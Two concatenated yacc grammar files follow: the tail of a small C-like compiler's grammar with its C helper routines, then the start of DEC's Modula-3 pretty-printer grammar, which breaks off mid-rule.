={ if ($1 && $2) $$ = node (OP_SEMICOLON, $1, $2);
else if ($1) $$ = $1;
else $$ = $2; }
| /*void*/ ={ $$ = 0; }
;
statement: asg ';' ={ $$ = $1; }
| '{' stmt_list '}' ={ $$ = $2; }
| IF '(' asg ')' statement
={ $$ = node (OP_IF, $3, $5); }
| IF '(' asg ')' statement ELSE statement
={ $$ = node (OP_IFELSE, $3,
node (OP_SEMICOLON, $5, $7)); }
| WHILE '(' asg ')' statement
={ $$ = node (OP_WHILE, $3, $5); }
| DO statement WHILE '(' asg ')' ';'
={
if ($5->op == OP_NOT)
$$ = node (OP_DOUNTIL, $2, $5->left);
else
$$ = node (OP_DOUNTIL, $2,
node (OP_NOT, $5, 0)); }
| FOR '(' oasg ';' oasg ';' oasg ')' statement
={ if ($7)
$$ = node (OP_SEMICOLON, $3,
node (OP_FOR, $5,
node (OP_SEMICOLON, $7, $9)));
else
$$ = node (OP_SEMICOLON, $3,
node (OP_WHILE, $5, $9)); }
| SWITCH '(' asg ')' statement
={ $$ = node (OP_SWITCH, $3, $5); }
| BREAK ';' ={ $$ = leaf (OP_BREAK, 0, 0, 0); }
| CONTINUE ';' ={ $$ = leaf (OP_CONTINUE, 0, 0, 0); }
| RETURN ';' ={ $$ = leaf (OP_RETURN, 0, 0, 0); }
| RETURN asg ';' ={ $$ = node (OP_RETVAL, $2, 0); }
| GOTO NAME ';' ={ $$ = node (OP_GOTO, refsym ($2), 0); }
| label statement ={ if ($2) $$ = node (OP_SEMICOLON, $1, $2);
else $$ = $1; }
| ASM '(' STRING ')' ';' ={ $$ = leaf (OP_ASM, 0, (long) $3, 0); }
| ';' ={ $$ = 0; }
| error ';' ={ $$ = 0; }
| error '}' ={ $$ = 0; }
;
asg: e ={ $$ = $1; }
| e '=' e ={ $$ = node (OP_ASSIGN, $1, $3); }
| e '*' '=' e ={ $$ = node (OP_MULASG, $1, $4); }
| e '/' '=' e ={ $$ = node (OP_DIVASG, $1, $4); }
| e '%' '=' e ={ $$ = node (OP_MODASG, $1, $4); }
| e '+' '=' e ={ $$ = node (OP_ADDASG, $1, $4); }
| e '-' '=' e ={ $$ = node (OP_SUBASG, $1, $4); }
| e LSOP '=' e ={ $$ = node (OP_LSASG, $1, $4); }
| e RSOP '=' e ={ $$ = node (OP_RSASG, $1, $4); }
| e '&' '=' e ={ $$ = node (OP_ANDASG, $1, $4); }
| e '|' '=' e ={ $$ = node (OP_ORASG, $1, $4); }
| e '^' '=' e ={ $$ = node (OP_XORASG, $1, $4); }
;
label: NAME ':' ={ $$ = leaf (OP_LABEL, 0, 0, deflabel ($1)); }
| DEFAULT ':' ={ $$ = leaf (OP_DEFAULT, 0, 0, 0); }
| CASE e ':' ={ $2 = twalk ($2, evalconst);
if ($2->op != OP_CONST)
error ("invalid array size");
$$ = leaf (OP_CASE, 0, $2->lval, 0);
twalk ($2, nfree); }
oasg: /*void*/ ={ $$ = 0; }
| asg ={ $$ = $1; }
;
o_elist: /*void*/ ={ $$ = 0; }
| elist ={ $$ = $1; }
;
elist: e %prec ',' ={ $$ = $1; }
| elist ',' e ={ $$ = node (OP_COMMA, $1, $3); }
;
e: e '<' e ={ $$ = node (OP_LT, $1, $3); }
| e '>' e ={ $$ = node (OP_GT, $1, $3); }
| e LE e ={ $$ = node (OP_LE, $1, $3); }
| e GE e ={ $$ = node (OP_GE, $1, $3); }
| e ',' e ={ $$ = node (OP_COMMA, $1, $3); }
| e '/' e ={ $$ = node (OP_DIV, $1, $3); }
| e '%' e ={ $$ = node (OP_MOD, $1, $3); }
| e '+' e ={ $$ = node (OP_ADD, $1, $3); }
| e '-' e ={ $$ = node (OP_SUB, $1, $3); }
| e LSOP e ={ $$ = node (OP_LSHIFT, $1, $3); }
| e RSOP e ={ $$ = node (OP_RSHIFT, $1, $3); }
| e '*' e ={ $$ = node (OP_MUL, $1, $3); }
| e EQUOP e ={ $$ = node (OP_EQU, $1, $3); }
| e NEQOP e ={ $$ = node (OP_NEQ, $1, $3); }
| e '&' e ={ $$ = node (OP_AND, $1, $3); }
| e '|' e ={ $$ = node (OP_OR, $1, $3); }
| e '^' e ={ $$ = node (OP_XOR, $1, $3); }
| e ANDAND e ={ $$ = node (OP_ANDAND, $1, $3); }
| e OROR e ={ $$ = node (OP_OROR, $1, $3); }
| e '?' e ':' e ={ $$ = node (OP_QUEST, $1,
node (OP_COLON, $3, $5)); }
| term ={ $$ = $1; }
;
term: term INC ={ $$ = node (OP_POSTINC, $1, 0); }
| term DEC ={ $$ = node (OP_POSTDEC, $1, 0); }
| INC term ={ $$ = node (OP_INC, $2, 0); }
| DEC term ={ $$ = node (OP_DEC, $2, 0); }
| '*' term ={ $$ = node (OP_REF, $2, 0); }
| '&' term ={ $$ = node (OP_ADDR, $2, 0); }
| '-' term ={ $$ = node (OP_NEG, $2, 0); }
| '!' term ={ $$ = node (OP_NOT, $2, 0); }
| '~' term ={ $$ = node (OP_COMPL, $2, 0); }
| NAME '.' CON ={ $$ = node (OP_DOT, refsym ($1), mkconst ($3)); }
| '(' cast ')' term %prec INC
={ $$ = node (OP_CAST, $4, 0);
$$->type = $2; }
| NAME '(' o_elist ')' ={ $$ = node (OP_CALL, refsym ($1), $3); }
| NAME '[' e ']' ={ $$ = node (OP_REF, node (OP_ADD,
refsym ($1), $3), 0); }
| NAME ={ $$ = refsym ($1); }
| STRING ={ $$ = leaf (OP_STRING, 0, (long) $1, 0); }
| CON ={ $$ = mkconst ($1); }
| SIZEOF term ={ $$ = mkconst (evalsize ($2)); }
| SIZEOF '(' cast ')' %prec SIZEOF
={ $$ = mkconst (tsize ($3)); }
| '(' e ')' ={ $$ = $2; }
;
cast: CHAR ={ $$ = TCHAR; }
| CHAR '*' ={ $$ = TCHARP; }
| CHAR FAR '*' ={ $$ = TCHARFP; }
| SHORT ={ $$ = TSHORT; }
| SHORT '*' ={ $$ = TSHORTP; }
| SHORT FAR '*' ={ $$ = TSHORTFP; }
| LONG ={ $$ = TLONG; }
| LONG '*' ={ $$ = TLONGP; }
| LONG FAR '*' ={ $$ = TLONGFP; }
| VOID '*' ={ $$ = TVOIDP; }
| VOID FAR '*' ={ $$ = TVOIDFP; }
;
%%
#include <stdio.h>
static int level, type;
static node_t *fnode;
sym_t *func;
extern int lineno;
extern int yylex (void);
extern int yyparse (void);
void yyerror (char *msg)
{
error ("%s", msg);
}
#ifdef DEBUG_LEX
void main ()
{
int lex;
while ((lex = yylex () != 0)
printlex (lex);
}
#else /* DEBUG_LEX */
int main (int argc, char **argv)
{
/* Simulate the GNU cc1 arguments,
* to use the 'gcc -Bxxx' as the startup utility.
* We nee two arguments here:
* -dumpbase <file.c>
* -o <file.s> */
for (++argv; --argc > 0; ++argv)
if (strcmp ("-dumpbase", *argv) == 0) {
if (argc < 1)
continue;
--argc, ++argv;
if (filename)
free (filename);
filename = strdup (*argv);
} else if (strcmp ("-o", *argv) == 0) {
if (argc < 1)
continue;
--argc, ++argv;
if (freopen (*argv, "w", stdout) != stdout) {
perror (*argv);
return (-1);
}
} else if (**argv == '-')
continue;
else {
if (freopen (*argv, "r", stdin) != stdin) {
perror (*argv);
return (-1);
}
}
/* Reserve the stab[0] entry. */
salloc ("", 0, 0, 0);
header ();
yyparse ();
return (errors ? -1 : 0);
}
#endif /* DEBUG_LEX */
static node_t *refsym (char *name)
{
int r;
r = slookup (name, 0);
if (r < 0) {
error ("undefined symbol `%s'", name);
r = salloc (name, 0, TCHAR, 0);
}
if (stab[r].size && ! (stab[r].type & TFUNC))
/* Array - insert '&'. */
return leaf (OP_CONST, stab[r].type, 0, r);
return leaf (OP_NAME, stab[r].type, 0, r);
}
static node_t *defvar (char *name, int type, int size)
{
int r;
r = slookup (name, level);
if (r < 0)
r = salloc (name, level, type, size);
else if (stab[r].type != type || stab[r].size != size)
error ("symbol `%s' redefined", stab[r].name);
return leaf (OP_NAME, type, 0, r);
}
static node_t *defarg (char *name, int type)
{
int r;
r = slookup (name, 1);
if (r < 0)
r = salloc (name, 1, type, 0);
else
error ("argument `%s' redefined", stab[r].name);
return leaf (OP_NAME, type, 0, r);
}
static node_t *deffun (char *name, int type)
{
int r;
type |= TFUNC;
r = slookup (name, 0);
if (r < 0)
r = salloc (name, 0, type, 0);
else if (stab[r].type != type)
error ("symbol `%s' redefined", stab[r].name);
return leaf (OP_NAME, type, 0, r);
}
static int deflabel (char *name)
{
int r;
r = slookup (name, 1);
if (r < 0)
r = salloc (name, 1, 0, 0);
else
error ("symbol `%s' redefined", stab[r].name);
return r;
}
static node_t *mkconst (unsigned long val)
{
int type;
if (val <= 0xff) type = TCHAR;
else if (val <= 0xffff) type = TSHORT;
else type = TLONG;
return leaf (OP_CONST, type, val, 0);
}
|
/* Copyright (C) 1989, Digital Equipment Corporation */
/* All rights reserved. */
/* See the file COPYRIGHT for a full description. */
/* Last modified on Wed Mar 13 12:28:14 PST 1996 by heydon */
/* modified on Fri Jul 7 09:28:34 PDT 1995 by kalsow */
/* modified on Mon Jun 22 09:00:23 PDT 1992 by <EMAIL> */
/* modified on Wed Apr 29 17:11:39 PDT 1992 by muller */
/* modified on Mon Apr 20 16:02:50 1992 by <EMAIL> */
/* modified on Fri Feb 28 13:46:45 PST 1992 by meehan */
/* modified on Mon Jun 1 11:37:54 1987 by firefly */
/* modified on Wed Jan 8 16:38:12 1986 by hania */
/* A yacc source file for the Modula-3 pretty-printer. This grammar
was constructed from the grammar given in the Modula-3 report;
the main problem was to get it right for yacc (an expression can
start by a type). */
/* Expect 3 shift/reduce conflicts */
/* The effect of yyparse is to parse a fragment of the Modula 3
language and emit a stream of characters and formatting codes
to a separate process that performs the formatting. This process
is actually Formatter.
Several of the non-terminals in this grammar derive the empty
string and are just used to cause semantic routines to be called.
("Q" non-terminals name routines that depend on the style-options.)
These non-terminals are:
G begins a group.
B begins an indented object.
B0 begins a non-indented object.
E ends a group or object.
EF ends a group or object and forces comments to be emitted.
A inserts a space followed by an optimal, ununited breakpoint.
AO inserts a space followed by a nobreak-optimal, ununited breakpoint.
AX inserts a nobreak-optimal, ununited breakpoint.
V inserts a space followed by a united breakpoint.
VZ inserts a space followed by an outdented, united breakpoint.
VC inserts a space followed by an outdented, then indented by 2
spaces, united breakpoint.
Z inserts a united breakpoint if it follows a blank line.
SP inserts a space.
XSP inserts a space without forcing comments to appear.
BL inserts a forced breakpoint.
AL2 begins a 2-column aligned object.
AL3 begins a 3-column aligned object.
ALZ5 begins a 5-column aligned object that may fit on a single line.
ALNL marks where the column aligner will insert a newline.
SPNL inserts a space or united breakpoint depending on the style.
QSP may insert a space.
NL inserts a forced breakpoint.
Inc increases depth, which is used to distinguish outer level
comments, which are formatted differently from inner comments.
Dec decreases depth.
These semantic routines use the C procedures:
BE(n) inserts a Formatter.Begin with offset n.
EN() inserts a Formatter.End ().
GR() inserts a Formatter.Group ().
BL() inserts a forced breakpoint with offset 0.
P(c) inserts the character c, except that if c is
newline, it is treated as a forced breakpoint with
a large negative offset.
Pr(s) applies P to each character of the string s.
Flush() flushes the buffers of the formatted stream.
Reset() does nothing.
NL() inserts a new line.
DoSPNL() inserts a space or forced breakpoint depending on the style.
DoQSP() may insert a space.
DoAlign() starts an aligned object.
DoBreak() inserts a breakpoint.
*/
/* The lexical analyzer communicates with the parser through
a buffer capable of holding two lexemes; since YACC uses
only one-token lookahead, and since lexemes are reduced
immediately to non-terminals, and since the character string
for a lexeme is used by the pretty-printer only when the
lexeme is first reduced to a non-terminal, it follows that
a two-lexeme buffer is sufficient. (This buffer is only
used for lexemes, like Identifiers and integers, that are
not completely characterized by their token number.)
The buffer is called lexbuf ; it contains two null-terminated
character strings, one beginning at position 0, the other at
position 500. The variable lexptr, used by the lexical
analyzer, Identifer which of these two positions is current. */
%{
#if defined(__cplusplus) || __STDC__
#define USE_PROTOS
#endif
#ifdef __cplusplus
#define EXTERN_C extern "C"
#define EXTERN_C_BEGIN extern "C" {
#define EXTERN_C_END }
#else
#define EXTERN_C
#define EXTERN_C_BEGIN
#define EXTERN_C_END
#endif
#include <stddef.h>
#define lexbufsize 500
char lexbuf[2 * lexbufsize];
int lexptr = 0;
int lexposition = 0;
/* See BufferLexeme and AddLexLength in Parse.lex */
char *infileName = NULL;
/* initialized by initParser, needed for error message */
int comdepth = 0;
/* depth of comments, used only by lexer. */
int pragdepth = 0;
/* depth of pragmas, used only by lexer. */
int depth = 0;
/* depth of nesting in blocks, used by NPS for formatting comments */
int blanklinep;
/* Set by NPS if the non-program-sequence that it parses ends
with a blank line. */
int calledFromEmacs;
/* set to one by main if called from Emacs, to zero otherwise */
int capSwitch;
/* 1 if -cap switch was set, 0 otherwise. */
int callspace;
/* 1 if -callspace switch was set, 0 otherwise */
/* the opaque Formatter.T object */
char *formatter;
double offset = 2.0;
/* indentation */
int alignDecls = 1;
/* True if we should use alignment code for declarations. */
int breakType;
/* Style of optimal breaks to use. */
double commentCol;
/* Where comments go. */
int comBreakNLs;
/* how many NLs before HandleComments bails out the first time */
typedef struct {
char *body;
char *keyword;
char *builtinID;
char *procName;
char *comment;
char *fixedComment;
char *fixed;
} FontInfo;
FontInfo *fonts; /* various opaque fonts */
double fixedCommentSpaceWidth;
#define MAXWIDTH (1.0E20)
/* Width of a space in various fonts. */
double bodySpaceWidth;
double commentLeaderWidth;
typedef long STYLE;
#define SRC_STYLE 0
#define EM_STYLE 1
STYLE style = SRC_STYLE;
typedef enum {NonOptimal, OptimalBreak, OptimalNoBreak} Formatter_BreakType;
#ifdef USE_PROTOS
EXTERN_C_BEGIN
#ifdef YYPARSE_PARAM
int yyparse (void *YYPARSE_PARAM);
#else
int yyparse (void);
#endif
int yylex(void);
#ifdef __cplusplus
typedef void (*PROC)(...);
typedef double (*FPROC)(...);
#else
typedef void (*PROC)();
typedef double (*FPROC)();
#endif
#if 0 /* stronger types would be nice */
typedef double (*CharWidth_t)(Formatter_t*, char*, char);
typedef void (*Flush_t)(void);
typedef void (*SetFont_t)(Formatter_t*, char*);
typedef void (*PutChar_t)(Formatter_t*, char);
typedef void (*Break_t)(Formatter_t*, double, int, int);
typedef void (*Newline_t)(Formatter_t*);
#else
typedef char Formatter_t;
#endif
static int yyinput (void);
void BufferLexeme (int addLength);
void CapBufferLexeme (int addLength);
void PR (const char *s);
void PRID(const char *s);
void PK (const char *s);
void PF(const char *s, const char *f);
void PRID(const char *s);
void PRNONL (const char *s);
void BE (double n);
void EN (void);
void ENF (void);
void GR(void);
void Flush (void);
void Reset (void);
void P(int n);
void P2(int n);
void NL (void);
void BL (void);
void DoSPNL (void);
void DoQSP (void);
void DoAlign (int cols, int oneline);
void ALNL(void);
void EndAlign(void);
void DoBreak (int blank, int breakpt, double offs);
void
initParser (
char *infile,
Formatter_t* outfile,
long emacs,
long caps,
FontInfo *fontInfo,
double offs,
double ccol,
STYLE sty,
long ad,
long breaktype,
long follow,
long callsp,
FPROC charWidth,
PROC flush,
PROC setFont,
PROC putChar,
PROC breakF,
PROC newLine,
PROC unitedBreak,
PROC group,
PROC begin,
PROC align,
PROC noAlign,
PROC col,
PROC end);
void yyerror(const char*);
void PrintOnePragma(void);
void PrintNPS(int);
int FixedComment(const char*);
void
HandleComments(
int firstTime, /* first time on this comment? */
int initNPS, /* is this an InitialNPS? */
int doBreak); /* is a Break about to happen? */
EXTERN_C_END
#endif
%}
/* basic tokens */
%token ENDOFFILE 0
/* symbols */
%token AMPERSAND ASSIGN ASTERISK BAR COLON COMMA DOT DOTDOT
%token EQUAL GREATER GREQUAL LESS LSEQUAL MINUS SHARP PLUS
%token RARROW RPRAGMA RBRACE RBRACKET RPAREN SEMICOLON SLASH
%token SUBTYPE UPARROW
%token LPAREN LBRACKET LBRACE /*LPRAGMA*/
%token IDENT CARD_CONST REAL_CONST CHAR_CONST STR_CONST
/* Various kinds of pragmas */
%token PR_EXTERNAL PR_INLINE PR_OBSOLETE PR_UNUSED
%token PR_FATAL PR_NOWARN PR_ASSERT PR_TRACE
%token PR_LINE PR_PRAGMA PR_CALLBACK
%token PR_LL PR_LLsup PR_EXPORTED PR_SPEC PR_LOOPINV
/* special symbols allowed in SPEC pragmas */
%token IDENTPRIME UPARROWPRIME
/* reserved words for ESC specifications in SPEC pragmas */
%token ALL AXIOM DEPEND
%token ENSURES EXISTS FUNC IFF IMPLIES INVARIANT IS
%token LET MAP MODIFIES ON PRED PROTECT
%token ABSTRACT REQUIRES
/*
%token CONCAT DELETE INSERT MEMBER SHARED SUBSET
%token MUT_GE MUT_GT MUT_LE MUT_LT
*/
/* reserved words */
%token AND ANY ARRAY AS BGN BITS BRANDED BY CASE CONST
%token DIV DO ELSE ELSIF END EVAL EXCEPT EXCEPTION EXIT EXPORTS
%token FINALLY FOR FROM GENERIC IF IMPORT IN INTERFACE LOCK LOOP
%token METHODS MOD MODULE NOT OBJECT OF OR OVERRIDES PROCEDURE RAISE RAISES
%token READONLY RECORD REF REPEAT RETURN REVEAL ROOT SET THEN TO
%token TRY TYPE TYPECASE UNSAFE UNTIL UNTRACED VALUE VAR WHILE WITH
/* token to force error from scanner */
%token BAD
/* Tokens needed only by the pretty-printer */
%token WHITESPACE
%token MODUNIT DEFUNIT
/* MODUNIT and DEFUNIT are needed only */
/* when the pretty-printer is called from Emacs. */
%start FormattingUnit
%%
/*--------------------- modules ------------------------*/
FormattingUnit:
{ depth=0; } InitialBlankLines CompilationUnit NL
| { depth=0; } MODUNIT InitialBlankLines ModUnit_list { Flush(); }
| { depth=0; } DEFUNIT InitialBlankLines DefUnit_list { Flush(); }
;
InitialBlankLines:
/* empty */
| InitialNPS NL
;
ModUnit_list:
ModUnit
| ModUnit_list ModUnit
;
ModUnit:
declaration_nl
| import_nl
| CompilationUnit NL
| B Inc begin_trace stmts VZ Dec End SP Ident E NL
;
DefUnit_list:
DefUnit
| DefUnit_list DefUnit
;
DefUnit:
declaration_nl
| import_nl
| CompilationUnit NL
;
CompilationUnit:
interface
| Unsafe SP interface
/* causes additional shift/reduce conflicts
| external_pragma SP interface
| external_pragma SP Unsafe SP interface
*/
| module
| Unsafe SP module
| generic_interface
| generic_module
;
interface:
Interface SP B IdentP Semi E NL
import_nl_list
declaration_nl_list
End SP Ident Dot
| Interface SP B IdentP SP Equal AO B Ident generic_params E E NL
End SP Ident Dot
;
module:
Module SP B IdentP exports Semi E NL
import_nl_list
named_block Z Dot
| Module SP B IdentP exports SP Equal AO B Ident generic_params E E NL
End SP Ident Dot
;
generic_interface:
Generic SP Interface SP IdentP generic_params Semi NL
import_nl_list
declaration_nl_list
End SP Ident Dot
;
generic_module:
Generic SP Module SP IdentP generic_params Semi NL
import_nl_list
named_block Z Dot
;
/* Good enough for both formals and actuals. */
generic_params:
/* empty */
| Z QSP Lparen B0 opt_id_list E Z Rparen
;
exports:
/* empty */
| AO Exports SP B0 id_list E
;
import_nl_list:
/* empty */
| import_nl_list import_nl
;
import_nl:
From SP Ident SP Import SP B0 id_list E Semi NL
| B Import A ALZ5 import_module_list Semi E E EA E NL
;
import_module_list:
import_module
| import_module_list Comma XSP E E ALNL import_module
;
import_module:
Inc G G Ident
| Inc G G Ident EF G SP As SP type
;
block:
declaration_nl_list B decl_pragma Inc begin_trace stmts NL Dec End Z E
;
named_block:
declaration_nl_list B decl_pragma Inc begin_trace stmts NL Dec End SP Ident E
;
declaration_nl_list:
/* empty */
| declaration_nl_list declaration_nl
;
/* to avoid reduce/reduce conflicts we will not make use of the knowledge
which pragmas are allowed for each kind of declaration */
declaration_nl:
B decl_pragma procedure_head SP Equal BL B0 named_block Z Semi E E BL
| B decl_pragma procedure_head Semi E BL
| B decl_pragma Const E BL
| B decl_pragma Const V AL3 const_decl_list EA E BL
| B decl_pragma Type E BL
| B decl_pragma Type V AL2 type_decl_list EA E BL
| B decl_pragma Reveal E BL
| B decl_pragma Reveal V AL2 type_decl_list EA E BL
| B decl_pragma Var E BL
| B decl_pragma Var V AL3 var_decl_list EA E BL
| B decl_pragma Exception E BL
| B decl_pragma Exception V exception_decl_list E BL
;
decl_pragma:
/* empty */
| decl_pragma external_pragma NL
| decl_pragma inline_pragma NL
| decl_pragma callback_pragma NL
| decl_pragma obsolete_pragma NL
| decl_pragma unused_pragma NL
| decl_pragma fatal_pragma NL
| decl_pragma exported_pragma NL
;
const_decl_list:
const_decl ALNL
| const_decl_list const_decl ALNL
;
const_decl:
/* Should move SP outside E? */
Inc G G Ident EF G Colon SP type SP EF G Equal SP expr Z Dec Semi E E
| Inc G G Ident EF G SP EF G Equal SP expr Z Dec Semi E E
;
type_decl_list:
type_decl ALNL
| type_decl_list type_decl ALNL
;
type_decl:
G B type_name SP Equal A type Semi E E
| G B type_name SP Subtype A type Semi E E
;
var_decl_list:
var_decl ALNL
| var_decl_list var_decl ALNL
;
var_decl:
Inc G G id_list EF
G Colon SP type Z var_trace Dec Semi1 E
G NPS E E
| Inc G G id_list EF
G Colon SP type SP EF
G Assign SP expr Z var_trace Dec Semi E E
| Inc G G id_list EF
G SP EF
G Assign SP expr Z var_trace Dec Semi E E
;
exception_decl_list:
/* did have V at end of both productions. */
exception_decl
| exception_decl_list BL exception_decl
;
exception_decl:
/* Moved break inside LParen. -DN */
Inc Ident Z Dec Semi
| Inc Ident Lparen AX type Z Rparen Z Dec Semi
;
procedure_head:
Procedure SP IdentP A signature
;
signature:
Lparen2 formals Rparen return_type raises
;
return_type:
/* empty */
| Colon A type
;
raises:
/* empty */
| Raises SP Lbrace B0 opt_qid_list E Rbrace
| Raises SP Any
;
formals:
/* empty */
| B ALZ5 formal EA E
| B ALZ5 formal_semi_list EA E
| B ALZ5 formal_semi_list formal EA E
;
formal_semi_list:
formal_semi ALNL
| formal_semi_list formal_semi ALNL
;
formal_semi:
G B formal_pragma EF B mode EF B id_list EF type_and_or_val_semi var_trace E
;
formal:
G B formal_pragma EF B mode EF B id_list EF type_and_or_val var_trace E
;
formal_pragma:
/* empty */
| formal_pragma unused_pragma A
;
mode:
/* empty */
| Value SP
| Var SP
| Readonly SP
;
type_and_or_val_semi:
B Colon SP type Semi1 XSP E G NPS E
| B Colon SP type EF B SP Assign SP expr Z Semi XSP E
| G E B SP Assign SP expr Z Semi XSP E
;
type_and_or_val:
B Colon SP type E
| B Colon SP type EF B SP Assign SP expr E
| G E B SP Assign SP expr E
;
/*--------------------- statements ------------------------*/
stmts:
/* empty */
| V stmt_list E
;
/* Statement list with G E around it only if non-empty. */
stmts_group:
/* empty */
| V G stmts1 E
;
/* Non-empty statement list. */
stmts1:
stmt_list E
;
stmt_list:
stmt_inner_list B stmt_end
;
stmt_inner_list:
/* empty */
| stmt_inner_list B stmt_inner E V
;
stmt_inner:
stmt Z Semi
| stmt_pragma
;
stmt_end:
stmt
| stmt Z Semi
| stmt_pragma
;
stmt:
assignment_stmt
| B0 block E
| call_stmt
| case_stmt
| exit_stmt
| eval_stmt
| for_stmt
| if_stmt
| lock_stmt
| loop_stmt
| raise_stmt
| repeat_stmt
| return_stmt
| try_finally_stmt
| try_stmt
| typecase_stmt
| while_stmt
| with_stmt
;
stmt_pragma:
assert_pragma
;
assignment_stmt:
/* Swapped B and A. -DN */
expr SP Assign AO B expr E
;
call_stmt:
expr
;
case_stmt:
Case SP expr SP Of VC case case_list else SPNL End
| Case SP expr SP Of case_list else SPNL End
;
case_list:
/*empty*/
| case_list VZ Bar SP case
;
case:
B labels_list SP Rarrow stmts_group E
;
labels_list:
labels
| labels_list Z Comma A labels
;
labels:
B expr E
| B expr SP Dotdot V expr E
;
exit_stmt:
Exit
;
eval_stmt:
/* Swapped A and B. -DN */
Eval AO B expr E
;
for_stmt:
/* We need the B2/E here and not for similar statements because of
the top-level A's. */
B2 For SP Ident var_trace A Assign SP expr A To SP expr by Do E
loopinv stmts SPNL End
;
by:
SP /* empty */
| A By SP expr SP
;
if_stmt:
If SP expr SP Then stmts elsif_list else SPNL End
;
else:
/* empty */
| VZ Else stmts
;
elsif_list:
/* empty */
| elsif_list elsif
;
elsif:
VZ Elsif SP expr SP Then stmts
;
lock_stmt:
Lock SP expr SP Do stmts SPNL End
;
loop_stmt:
Loop loopinv stmts SPNL End
;
raise_stmt:
Raise AO qqid
| Raise AO qqid Lparen expr Z Rparen
;
repeat_stmt:
Repeat loopinv stmts VZ B Until A expr E
;
return_stmt:
Return
| Return AO expr
;
try_finally_stmt:
Try stmts VZ Finally stmts SPNL End
;
try_stmt:
Try stmts VZ Except VC handler handler_list else SPNL End
| Try stmts VZ Except handler_list else SPNL End
;
handler_list:
/* empty */
| handler_list VZ Bar SP handler
;
handler:
B B2 qid_list A Lparen Ident var_trace Z Rparen SP Rarrow E stmts_group E
| B B2 qid_list SP Rarrow E stmts_group E
;
typecase_stmt:
B2 Typecase A expr A Of E VC tcase tcase_list else SPNL End
| B2 Typecase A expr A Of E tcase_list else SPNL End
;
tcase_list:
/* empty */
| tcase_list VZ Bar SP tcase
;
tcase:
B type_list SP Rarrow stmts_group E
| B type_list SP Lparen Ident var_trace Rparen SP Rarrow stmts_group E
;
while_stmt:
While SP expr SP Do loopinv stmts SPNL End
;
with_stmt:
With SP AL2 binding_list E E EA SP Do stmts SPNL End
;
binding_list:
binding
| binding_list Comma E E ALNL binding
;
binding:
G G Ident var_trace SP E G Equal SP expr
;
opt_qid_list:
/* empty */
| qid_list
;
qid_list:
qid
| qid_list Comma A qid
;
qid:
Ident
| Ident Dot Ident
;
/*--------------------- types ------------------------*/
type_list:
type
| type_list Z Comma A type
;
type:
B type_name E
| B type_name SP simple_object_type_list E
| B root_type SP simple_object_type_list E
| B type_constructor E
| B Lparen type Z Rparen E
;
type_name:
qid
;
type_constructor:
type_constructor1
| type_constructor2
;
type_constructor1:
Bits A expr A For V type
| Procedure AO signature
| callback_pragma Procedure AO signature
| Untraced SP simple_object_type_list
| simple_object_type_list
| Untraced SP brand Ref A type
| brand Ref A type
| B0 Lbrace B0 opt_id_list E Z Rbrace E
| Lbracket expr SP Dotdot V expr Z Rbracket
| root_type
;
root_type:
Untraced SP Root
| Root
;
/* these can appear as values in vanilla expressions */
type_constructor2:
Array A type_list SP Of V type
| Array SP Of V type
| Record fields SPNL End
| Set SP Of V type
;
simple_object_type_list:
simple_object_type
| simple_object_type_list V simple_object_type
;
simple_object_type:
brand Object fields methods_part overrides_part SPNL End
;
methods_part:
/* empty */
| VZ Methods methods
;
overrides_part:
/* empty */
| VZ Overrides overrides
;
brand:
/* empty */
| Branded SP
| Branded SP Str_expr SP
;
fields:
/* empty */
| V G AL3 field EA E
| V G AL3 field_semi_list EA E
| V G AL3 field_semi_list field EA E
;
field_semi_list:
field_semi ALNL
| field_semi_list field_semi ALNL
;
field_semi:
G B id_list E type_and_or_val_semi E
;
field:
G B id_list E type_and_or_val E
;
methods:
/* empty */
| V G AL3 method EA E
| V G AL3 method_semi_list EA E
| V G AL3 method_semi_list method EA E
;
method_semi_list:
method_semi ALNL
| method_semi_list method_semi ALNL
;
method_semi:
G B Ident EF B SP signature Semi E E
| G B Ident EF B SP signature EF B SP Assign SP qid Semi E E
| G B Ident EF B SP EF B SP Assign SP qid Semi E E
;
method:
G B Ident EF B SP signature E E
| G B Ident EF B SP signature EF B SP Assign SP qid E E
| G B Ident EF B SP EF B SP Assign SP qid E E
;
overrides:
/* empty */
| V G AL2 override EA E
| V G AL2 override_semi_list EA E
| V G AL2 override_semi_list override EA E
;
override_semi_list:
override_semi ALNL
| override_semi_list override_semi ALNL
;
override_semi:
G B Ident EF B SP Assign SP qid Semi E E
;
override:
G B Ident EF B SP Assign SP qid E E
;
/*--------------------- pragmas ------------------------*/
external_pragma:
Pr_External SP Rpragma
| Pr_External SP Str_expr SP Rpragma
| Pr_External SP Colon Ident SP Rpragma
| Pr_External SP Str_expr Colon Ident SP Rpragma
;
vtrace_pragma: Pr_Trace SP expr SP Rpragma ;
strace_pragma: B Pr_Trace stmts E SP Rpragma ;
var_trace:
/*empty*/
| SP vtrace_pragma
;
begin_trace:
Begin
| Begin V strace_pragma
;
assert_pragma:
Pr_Assert SP B expr E SP Rpragma
| Pr_Assert SP B expr Z Comma A Str_expr E SP Rpragma
;
loopinv:
/* empty */
| V loopinv_pragma
;
loopinv_pragma: Pr_LoopInv SP spec_pred SP Rpragma ;
fatal_pragma: Pr_Fatal SP B0 fatal_exc_list SP Rpragma E ;
fatal_exc_list:
qid_list
| Any
;
inline_pragma: Pr_Inline SP Rpragma ;
unused_pragma: Pr_Unused SP Rpragma ;
obsolete_pragma: Pr_Obsolete SP Rpragma ;
callback_pragma: Pr_Callback SP Rpragma ;
exported_pragma: Pr_Exported SP Rpragma ;
/* an anypragma can appear anywhere */
anypragma:
VZ pragma_pragma
| A nowarn_pragma
| A line_pragma
| VZ ll_pragma
| VZ spec_pragma
;
/* these pragmas can appear anywhere,
thus they are handled by the NPS non-terminal,
thus they must not have a terminating NPS,
as it is contained in Rpragma */
pragma_pragma: Pr_Pragma SP id_list SP Rpragma1 ;
nowarn_pragma: Pr_Nowarn SP Rpragma1 ;
ll_pragma:
Pr_LL SP relop SP ll_set SP Rpragma1
| Pr_LLsup SP relop SP ll_set SP Rpragma1
;
ll_set:
expr
| Lbrace Rbrace
| Lbrace expr_list Rbrace
;
line_pragma:
Pr_Line SP Card_const SP Rpragma1
| Pr_Line SP Card_const SP Str_const SP Rpragma1
;
spec_pragma: Pr_Spec SP B esc_spec E A Rpragma1 ;
/*------ specifications for ESC (extended static checker) ------*/
esc_spec:
spec_proc
| spec_var
| spec_abstract
| spec_depend
| spec_pred_def
| spec_func_def
| spec_axiom
| spec_protect
| spec_inv
| spec_let
;
spec_proc:
spec_proc_signature NL
spec_proc_opt_modifies
spec_proc_opt_requires
spec_proc_opt_ensures
;
spec_proc_opt_modifies:
/* empty */
| spec_proc_modifies NL
